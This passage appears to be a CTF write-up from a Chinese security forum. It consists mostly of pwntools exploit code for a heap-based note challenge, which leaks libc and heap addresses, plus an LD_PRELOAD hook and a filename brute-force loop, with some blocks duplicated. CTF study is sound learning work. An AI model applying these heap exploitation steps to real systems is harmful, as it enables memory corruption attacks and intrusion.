    io.sendlineafter(b'Enter size of note: ', str(size).encode())
def edit(index, size ,content=b'\x01'):
    io.sendlineafter(b'$> ', b'edit')
    io.sendlineafter(b'Enter index of note to edit: ', str(index).encode())
    io.sendlineafter(b'Enter newsize: ', str(size).encode())
    if content==b'\x01':
        io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n')
    else:
        io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y')
        io.sendlineafter(b'Enter new content for note: ', content)
def free(index):
    io.sendlineafter(b'$> ', b'del')
    io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())
def show(index):
    io.sendlineafter(b'$> ', b'show')
    io.sendlineafter(b'Enter index of note to show: ', str(index).encode())
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
void open(char* filename)
{
    puts("********************************");
    printf("%s",filename);
    return;
}
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
void open(char* filename)
{
    puts("********************************");
    printf("%s",filename);
    return;
}
from pwn import *
lib = os.path.abspath('./hook.so')
env = os.environ.copy()
env['LD_PRELOAD'] = lib
#io = process(['./pwn'], env=env)
def bug():
    gdb.attach(io,"b *$rebase(0x3ABD)\nc")
while True:
    io = process(['./pwn'], env=env)
    io.recvuntil(b'select: ')
    io.sendline(b'1')
    io.recvuntil(b'characters): ')
    io.sendline(b'Mim')
    io.recvuntil(b'select: ')
    io.sendline(b'2')
    io.recvuntil(b"********************************\n")
    filename=io.recvuntil(b"Failed")[:-6].decode()
    os.system(f"echo {filename} >> log.txt")
    io.close()
from pwn import *
lib = os.path.abspath('./hook.so')
env = os.environ.copy()
env['LD_PRELOAD'] = lib
#io = process(['./pwn'], env=env)
def bug():
    gdb.attach(io,"b *$rebase(0x3ABD)\nc")
while True:
    io = process(['./pwn'], env=env)
    io.recvuntil(b'select: ')
    io.sendline(b'1')
    io.recvuntil(b'characters): ')
    io.sendline(b'Mim')
    io.recvuntil(b'select: ')
    io.sendline(b'2')
    io.recvuntil(b"********************************\n")
    filename=io.recvuntil(b"Failed")[:-6].decode()
    os.system(f"echo {filename} >> log.txt")
    io.close()
io.recvuntil(b'select: ')
io.sendline(b'1')
io.recvuntil(b'characters): ')
io.sendline(b'Mim')
io.recvuntil(b'select: ')
io.sendline(b'2')
add(0x500)#0
add(0x500)#1
add(0x600)#2
add(0x500)#3
bug()
free(0)
free(2)
add(0x500)
show(0)
io.recvuntil(b'Content: ')
base=u64(io.recv(6)+b'\x00\x00')-0x21ace0
print(hex(base))
free(0)
add(0x500)#0
add(0x600)#2
edit(2,0x10,b'a'*0x10)
show(2)
io.recvuntil(b'a'*0x10)
heap=u64(io.recv(6)+b'\x00\x00')-0xd30
print(hex(heap))
free(0)
free(1)
free(2)
free(3)
io.recvuntil(b'select: ')
io.sendline(b'1')
io.recvuntil(b'characters): ')
io.sendline(b'Mim')
io.recvuntil(b'select: ')
io.sendline(b'2')
add(0x500)#0
add(0x500)#1
add(0x600)#2
add(0x500)#3
bug()
free(0)
free(2)

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-10-31 10:32 被zer00ne编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 2573
活跃值: (10630)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
包含了两场比赛的wp,内容充实,感谢分享~
2025-10-31 10:56
0
游客
登录 | 注册 方可回帖
返回